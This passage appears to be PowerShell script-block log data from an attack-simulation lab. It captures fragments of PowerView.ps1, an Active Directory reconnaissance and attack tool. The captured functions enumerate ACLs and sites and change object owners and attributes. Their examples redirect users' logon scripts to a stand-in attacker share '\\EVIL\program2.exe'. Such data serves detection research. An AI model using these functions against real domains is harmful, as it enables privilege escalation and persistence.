'$IdentityDomain'" } } } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(name=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['GPLink']) { Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property" $Filter += "(gplink=*$GPLink*)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } else { $Results = $OUSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $OU = $_ } else { $OU = Convert-LDAPProperty -Properties $_.Properties } $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') $OU } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_" } } $OUSearcher.dispose() } } } function Get-DomainSite { <# .SYNOPSIS Search for all sites or specific site objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all site objects for the current domain are returned. .PARAMETER Identity An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. .PARAMETER GPLink Only return sites with the specified GUID in their gplink property. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainSite Returns the current sites in the domain. .EXAMPLE Get-DomainSite *admin* -Domain testlab.local Returns all sites with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all sites with linked to the specified group policy object. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainSite -Credential $Cred .OUTPUTS PowerView.Site Custom PSObject with translated site property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.Site')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] [Alias('GUID')] $GPLink, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'SearchBasePrefix' = 'CN=Sites,CN=Configuration' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $SiteSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($SiteSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishednad123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1 4104132150x02372860Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local1541ameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } $Principal = Get-DomainObject @PrincipalSearcherArguments if (-not $Principal) { throw "Unable to resolve principal: $PrincipalIdentity" } elseif($Principal.Count -gt 1) { throw "PrincipalIdentity matches multiple AD objects, but only one is allowed" } $ObjectSid = $Principal.objectsid } else { $ObjectSid = $PrincipalIdentity } $ADRight = 0 foreach($r in $Right) { $ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__) } $ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) } Process { if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') { if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType } } else { if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType } } } } function Set-DomainObjectOwner { <# .SYNOPSIS Modifies the owner for a specified active directory object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION Retrieves the Active Directory object specified by -Identity by splatting to Get-DomainObject, returning the raw searchresult object. Retrieves the raw directoryentry for the object, and sets the object owner to -OwnerIdentity. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) of the AD object to set the owner for. .PARAMETER OwnerIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) of the owner to set for -Identity. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y Set the owner of 'dfm' in the current domain to 'harmj0y'. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] $Identity, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [Alias('Owner')] [String] $OwnerIdentity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid if ($OwnerSid) { $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid } else { Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'" } } PROCESS { if ($OwnerIdentityReference) { $SearcherArguments['Raw'] = $True $SearcherArguments['Identity'] = $Identity # splat the appropriate arguments to Get-DomainObject $RawObject = Get-DomainObject @SearcherArguments ForEach ($Object in $RawObject) { try { Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" $Entry = $RawObject.GetDirectoryEntry() $Entry.PsBase.Options.SecurityMasks = 'Owner' $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) $Entry.PsBase.CommitChanges() } catch { Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_" } } } } } function Get-DomainObjectAcl { <# .SYNOPSIS Returns the ACLs associated with a specific active directory object. By default the DACL for the object(s) is returned, but the SACL can be returned with -Sacl. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Sacl Switch. Return the SACL instead of the DACL for the object (default behavior). .PARAMETER ResolveGUIDs Switch. Resolve GUIDs to their display names. .PARAMETER RightsFilter A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs Get the ACLs for the matt.admin user in the testlab.local domain and resolve relevant GUIDs to their display names. .EXAMPLE Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs Enumerate the ACL permissions for all OUs in the domain. .EXAMPLE Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl Enumerate the SACLs for all OUs in the domain, resolving GUIDs. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs .OUTPUTS PowerView.ACL Custom PSObject with ACL entries. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ACL')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Switch] $Sacl, [Switch] $ResolveGUIDs, [String] [Alias('Rights')] [ValidateSet('All', 'ResetPassword', 'WriteMembers')] $RightsFilter, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' } if ($PSBoundParameters['Sacl']) { $SearcherArguments['SecurityMasks'] = 'Sacl' } else { $SearcherArguments['SecurityMasks'] = 'Dacl' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $Searcher = Get-DomainSearcher @SearcherArguments $DomainGUIDMapArguments = @{} if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server } if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } # get a GUID -> name mapping if ($PSBoundParameters['ResolveGUIDs']) { $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments } } PROCESS { if ($Searcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-.*') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $Searcher = Get-DomainSearcher @SearcherArguments if (-not $Searcher) { Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('.')) { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } else { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)d123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1 4104132150x02372859Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local1441inObject .DESCRIPTION Splats user/object targeting parameters to Get-DomainObject, returning the raw searchresult object. Retrieves the raw directoryentry for the object, and sets any values from -Set @{}, XORs any values from -XOR @{}, and clears any values from -Clear @(). .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Set Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values. .PARAMETER XOR Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values. .PARAMETER Clear Specifies an array of object properties that will be cleared in the directory. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser .EXAMPLE "S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: Get-DomainObject filter string: (&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108))) VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y VERBOSE: Setting countrycode to 1234 for object harmj0y VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser VERBOSE: Setting countrycode to 1234 for object testuser .EXAMPLE "S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose Cleares the 'department' field for both object identities. .EXAMPLE Get-DomainUser testuser | ConvertFrom-UACValue -Verbose Name Value ---- ----- NORMAL_ACCOUNT 512 Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser' Get-DomainUser testuser | ConvertFrom-UACValue -Verbose Name Value ---- ----- NORMAL_ACCOUNT 512 DONT_EXPIRE_PASSWORD 65536 .EXAMPLE Get-DomainUser -Identity testuser -Properties scriptpath scriptpath ---------- \\primary\sysvol\blah.ps1 $SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser' Get-DomainUser -Identity testuser -Properties scriptpath scriptpath ---------- \\EVIL\program2.exe #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [Alias('Replace')] [Hashtable] $Set, [ValidateNotNullOrEmpty()] [Hashtable] $XOR, [ValidateNotNullOrEmpty()] [String[]] $Clear, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{'Raw' = $True} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } # splat the appropriate arguments to Get-DomainObject $RawObject = Get-DomainObject @SearcherArguments ForEach ($Object in $RawObject) { $Entry = $RawObject.GetDirectoryEntry() if($PSBoundParameters['Set']) { try { $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object { Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'" $Entry.put($_.Name, $_.Value) } $Entry.commitchanges() } catch { Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_" } } if($PSBoundParameters['XOR']) { try { $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object { $PropertyName = $_.Name $PropertyXorValue = $_.Value Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'" $TypeName = $Entry.$PropertyName[0].GetType().name # UAC value references- https://support.microsoft.com/en-us/kb/305144 $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue $Entry.$PropertyName = $PropertyValue -as $TypeName } 